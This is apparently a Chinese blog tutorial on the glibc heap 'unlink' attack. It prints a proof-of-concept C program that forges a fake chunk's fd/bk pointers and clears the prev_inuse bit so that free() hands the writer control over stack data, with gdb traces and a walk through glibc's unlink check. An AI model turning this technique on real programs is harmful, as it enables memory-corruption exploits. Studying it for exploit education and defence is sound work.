关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)

2024-04-15 05:58

本文主要是介绍关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

目录

参考文章:

环境与工具:

源代码:

代码调试:

什么是Unlink:

调试继续:

Unlink安全性检查:

调试继续:

Free与触发Unlink:

关于寻址:


参考文章:

        在此先给出几篇可供参考的文章。笔者认为几位师傅所写的都比笔者所写要来得更加精炼。倘若您通过如下几篇文章已经能够完全理解Unlink为何,那么大可以不再阅读这篇冗长的文章。

        安全客:https://www.anquanke.com/post/id/197481

        看雪:https://bbs.pediy.com/thread-224836.htm

        CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

环境与工具:

        环境:Ubuntu16.4 / gcc / (gdb)pwn-dbg

        范例:Heap Exploitation系列unlink部分(源代码将直接在下面贴出)

源代码:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>struct chunk_structure {size_t prev_size;size_t size;struct chunk_structure *fd;struct chunk_structure *bk;char buf[10];               // padding
};int main() {unsigned long long *chunk1, *chunk2;struct chunk_structure *fake_chunk, *chunk2_hdr;char data[20];// First grab two chunks (non fast)chunk1 = malloc(0x80);chunk2 = malloc(0x80);printf("%p\n", &chunk1);printf("%p\n", chunk1);printf("%p\n", chunk2);// Assuming attacker has control over chunk1's contents// Overflow the heap, override chunk2's header// First forge a fake chunk starting at chunk1// Need to setup fd and bk pointers to pass the unlink security checkfake_chunk = (struct chunk_structure *)chunk1;fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == Pfake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P// Next modify the header of chunk2 to pass all security checkschunk2_hdr = (struct chunk_structure *)(chunk2 - 2);chunk2_hdr->prev_size = 0x80;  // chunk1's data region sizechunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'// This results in chunk1 pointer pointing to chunk1 - 3// i.e. chunk1[3] now contains chunk1 itself.// We then make chunk1 point to some victim's datafree(chunk2);printf("%p\n", chunk1);printf("%p\n", chunk1[3]);chunk1[3] = (unsigned long long)data;strcpy(data, "Victim's data");// Overwrite victim's data using chunk1chunk1[0] = 0x002164656b636168LL;printf("%s\n", data);return 0;
}

代码调试:

        读者可以试着先行阅读一下代码,看看是否能够理解其逻辑。笔者在调试时由于对指针和寻址等相关知识的不熟练而倍感困惑,倘若读者在阅读代码过程中通畅无阻,那么这个案例便不是那么困难了。

gdb-peda$ b 20
Breakpoint 1 at 0x40067d: file test.c, line 20.
gdb-peda$ b 31
Breakpoint 2 at 0x4006db: file test.c, line 31.
gdb-peda$ b 36
Breakpoint 3 at 0x400703: file test.c, line 36.
gdb-peda$ b 44
Breakpoint 4 at 0x400731: file test.c, line 44.
gdb-peda$ run

        首先开辟三个chunk,这此我们有必要记录一下打印得到的结果:

gdb-peda$ continue
Continuing.
0x7fffffffde00    //chunk1指针地址
0x602010    //chunk1堆地址——user data
0x6020a0    //chunk2堆地址——user data

        继续continue直到第36行,查看此时的heap

0x602000 PREV_INUSE {prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x7fffffffdde8, bk_nextsize = 0x7fffffffddf0
}
0x602090 PREV_INUSE {prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}
0x602120 PREV_INUSE {prev_size = 0x0, size = 0x411, fd = 0x3061303230367830, bk = 0xa30306564660a, fd_nextsize = 0x0, bk_nextsize = 0x0
}
0x602530 PREV_INUSE {prev_size = 0x0, size = 0x20ad1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}

        我们发现,chunk 1的 fd 和 bk 指针已经被指向了栈的地方。 

        先抛开这究竟是如何实现的,我们需要先了解一下

什么是Unlink:

1459 /* Take a chunk off a bin list.  */
1460 static void
1461 unlink_chunk (mstate av, mchunkptr p)
1462 {
1463   if (chunksize (p) != prev_size (next_chunk (p)))
1464     malloc_printerr ("corrupted size vs. prev_size");
1465 
1466   mchunkptr fd = p->fd;
1467   mchunkptr bk = p->bk;
1468 
1469   if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
1470     malloc_printerr ("corrupted double-linked list");
1471 
1472   fd->bk = bk;
1473   bk->fd = fd;
1474   if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
1475     {
1476       if (p->fd_nextsize->bk_nextsize != p
1477           || p->bk_nextsize->fd_nextsize != p)
1478         malloc_printerr ("corrupted double-linked list (not small)");
1479 
1480       if (fd->fd_nextsize == NULL)
1481         {
1482           if (p->fd_nextsize == p)
1483             fd->fd_nextsize = fd->bk_nextsize = fd;
1484           else
1485             {
1486               fd->fd_nextsize = p->fd_nextsize;
1487               fd->bk_nextsize = p->bk_nextsize;
1488               p->fd_nextsize->bk_nextsize = fd;
1489               p->bk_nextsize->fd_nextsize = fd;
1490             }
1491         }
1492       else
1493         {
1494           p->fd_nextsize->bk_nextsize = p->bk_nextsize;
1495           p->bk_nextsize->fd_nextsize = p->fd_nextsize;
1496         }
1497     }
1498 }

        Unlink实则为一个函数,在特定情况下被调用。函数功能为:将一个chunk从链表中摘下

        这里所说的链表,其实就是Bins结构。

        这里引用一下知世师傅的总结:

使用unlink的时机

  • malloc
    1. 在恰好大小的large chunk处取chunk时
    2. 在比请求大小大的bin中取chunk时
  • Free
    1. 后向合并,合并物理相邻低物理地址空闲chunk时
    2. 前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)
  • malloc_consolidate
    1. 后向合并,合并物理相邻低地址空闲chunk时。
    2. 前向合并,合并物理相邻高地址空闲 chunk时(top chunk除外)
  • realloc

    前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)

        其具体的执行效果一言蔽之就是:(P为链表中需要被摘下的节点)

P->fd->bk = P->bk.
P->bk->fd = P->fd.

        本章我们将以Free时候发生Unlink来示范,看看堆管理器究竟在做些什么。

调试继续:

        我们查看一下两个指针的地址,并在图中标出:(不要过于纠结fake_chunk名字的意义)

gdb-peda$ p fake_chunk 
$1 = (struct chunk_structure *) 0x602010
gdb-peda$ p &fake_chunk 
$2 = (struct chunk_structure **) 0x7fffffffde10
gdb-peda$ p &chunk1 
$3 = (unsigned long long **) 0x7fffffffde00
gdb-peda$ p &data
$4 = (char (*)[20]) 0x7fffffffde20

         第32,33行的两行代码,我将其地址标注在上图中了。值得注意的是,这两个指针均为“指向chunk”的指针,即——将 &chunk1-3 &chunk1-2 视为了两个不同的chunk

Unlink安全性检查:

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

        由于这个检查,因此才有上面的伪造。

        现在,不妨跟随一下这个检查,其要求为:(P为链表中需要被摘下的节点,此处是chunk1)

P->fd->bk == P
P->bk->fd == P

         chunk1->fd=&chunk1-3,根据上面的栈表,我们可以轻松的发现:chunk1->fd->bk=602010

        对于另外一个判断也是如此。我们成功的将 栈 伪造成了两个chunk(fd和bk)来骗过了管理器。

调试继续:

         因为

  fake_chunk = (struct chunk_structure *)chunk1;

         因此,我们操作fake_chunk的fd/bk指针就是操作chunk1的对应指针,于是才有了前面给出的堆的状态。

        继续调试,从第36行到44行。

        chunk2_hdr是指向chunk2真正的开头的指针。在第二章中曾提到过,malloc返回的内容并不是真正指向chunk的开头,而是往下增加了16字节。

        第37和38行则是在伪造chunk1的状态:

        prev_size表示上一个相邻空闲块的大小(若该相邻块是被使用的,则会被占用,用来填充用户数据),第38行则将P标记位置0,表示上一个相邻块已被释放。

        至此,我们已经伪造好了chunk1的状态。当使用free(chunk2)的时候,管理器会发现chunk1是处于被释放状态的,于是将chunk2和chunk1进行合并。

Free与触发Unlink:

        当我们执行

free(chunk2);

        时候将触发Unlink,对chunk1做如下行为:

P->fd->bk = P->bk.
P->bk->fd = P->fd.

        结果是令人疑惑的,但如果按照笔者上述的逻辑,大致还是能够理顺的:(P为chunk1)

&(P->fd->bk)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-2)=0x7fffffffddf0
&(P->bk->fd)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-3)=0x7fffffffdde8

         现在我们再看chunk1与chunk[3],将得到相同的结果:

gdb-peda$ p chunk1
$16 = (unsigned long long *) 0x7fffffffdde8
gdb-peda$ p &chunk1[3]
$17 = (unsigned long long *) 0x7fffffffde00
gdb-peda$ p chunk1[3]
$18 = 0x7fffffffdde8

         "chunk1的内容和chunk1[3]相同,chunk1[3]的地址和chunk1的地址相同",乍一看相当反直觉的表述,但根据栈图还是能够理解的,继续往下:

  chunk1[3] = (unsigned long long)data;

        此时,该操作就会将chunk1的值替换为Data的指针。因此,只要我们能够操作chunk1的值,就变相的能够读写Data中的数据了

  chunk1[0] = 0x002164656b636168LL;printf("%s\n", data);//hacked!

关于寻址:

         说了这么多,最后是关于寻址的问题。

        上文案例中,chunk1并不在Bins中,那这个Unlink的执行会否显得有些突兀?

        从寻址的角度来说,管理器并不关心chunk1是否处于Bins中。它通过Size和Prev_Size来找到chunk1,并且由于chunk1的fd和bk指针都存在,管理器就误认为chunk1是被挂在Bins中的一个节点。也就是说,堆管理器并没有检查Bins中是否真的存在这个节点

        实际上,即使chunk1真的是Bins中的一个节点,这种寻址方式也不会有任何问题,它会顺利的摘下chunk1;只是在本例中,管理器以为自己从Bins中摘除了chunk1罢了

        

这篇关于关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/905016

相关文章

Jsoncpp的安装与使用方式

《Jsoncpp的安装与使用方式》JsonCpp是一个用于解析和生成JSON数据的C++库,它支持解析JSON文件或字符串到C++对象,以及将C++对象序列化回JSON格式,安装JsonCpp可以通过... 目录安装jsoncppJsoncpp的使用Value类构造函数检测保存的数据类型提取数据对json数

Redis事务与数据持久化方式

《Redis事务与数据持久化方式》该文档主要介绍了Redis事务和持久化机制,事务通过将多个命令打包执行,而持久化则通过快照(RDB)和追加式文件(AOF)两种方式将内存数据保存到磁盘,以防止数据丢失... 目录一、Redis 事务1.1 事务本质1.2 数据库事务与redis事务1.2.1 数据库事务1.

深入理解C++ 空类大小

《深入理解C++空类大小》本文主要介绍了C++空类大小,规定空类大小为1字节,主要是为了保证对象的唯一性和可区分性,满足数组元素地址连续的要求,下面就来了解一下... 目录1. 保证对象的唯一性和可区分性2. 满足数组元素地址连续的要求3. 与C++的对象模型和内存管理机制相适配查看类对象内存在C++中,规

Linux磁盘分区、格式化和挂载方式

《Linux磁盘分区、格式化和挂载方式》本文详细介绍了Linux系统中磁盘分区、格式化和挂载的基本操作步骤和命令,包括MBR和GPT分区表的区别、fdisk和gdisk命令的使用、常见的文件系统格式以... 目录一、磁盘分区表分类二、fdisk命令创建分区1、交互式的命令2、分区主分区3、创建扩展分区,然后

Linux中chmod权限设置方式

《Linux中chmod权限设置方式》本文介绍了Linux系统中文件和目录权限的设置方法,包括chmod、chown和chgrp命令的使用,以及权限模式和符号模式的详细说明,通过这些命令,用户可以灵活... 目录设置基本权限命令:chmod1、权限介绍2、chmod命令常见用法和示例3、文件权限详解4、ch

Java中的密码加密方式

《Java中的密码加密方式》文章介绍了Java中使用MD5算法对密码进行加密的方法,以及如何通过加盐和多重加密来提高密码的安全性,MD5是一种不可逆的哈希算法,适合用于存储密码,因为其输出的摘要长度固... 目录Java的密码加密方式密码加密一般的应用方式是总结Java的密码加密方式密码加密【这里采用的

Java中ArrayList的8种浅拷贝方式示例代码

《Java中ArrayList的8种浅拷贝方式示例代码》:本文主要介绍Java中ArrayList的8种浅拷贝方式的相关资料,讲解了Java中ArrayList的浅拷贝概念,并详细分享了八种实现浅... 目录引言什么是浅拷贝?ArrayList 浅拷贝的重要性方法一:使用构造函数方法二:使用 addAll(

Mycat搭建分库分表方式

《Mycat搭建分库分表方式》文章介绍了如何使用分库分表架构来解决单表数据量过大带来的性能和存储容量限制的问题,通过在一对主从复制节点上配置数据源,并使用分片算法将数据分配到不同的数据库表中,可以有效... 目录分库分表解决的问题分库分表架构添加数据验证结果 总结分库分表解决的问题单表数据量过大带来的性能

SpringBoot项目引入token设置方式

《SpringBoot项目引入token设置方式》本文详细介绍了JWT(JSONWebToken)的基本概念、结构、应用场景以及工作原理,通过动手实践,展示了如何在SpringBoot项目中实现JWT... 目录一. 先了解熟悉JWT(jsON Web Token)1. JSON Web Token是什么鬼

在C#中合并和解析相对路径方式

《在C#中合并和解析相对路径方式》Path类提供了几个用于操作文件路径的静态方法,其中包括Combine方法和GetFullPath方法,Combine方法将两个路径合并在一起,但不会解析包含相对元素... 目录C#合并和解析相对路径System.IO.Path类幸运的是总结C#合并和解析相对路径对于 C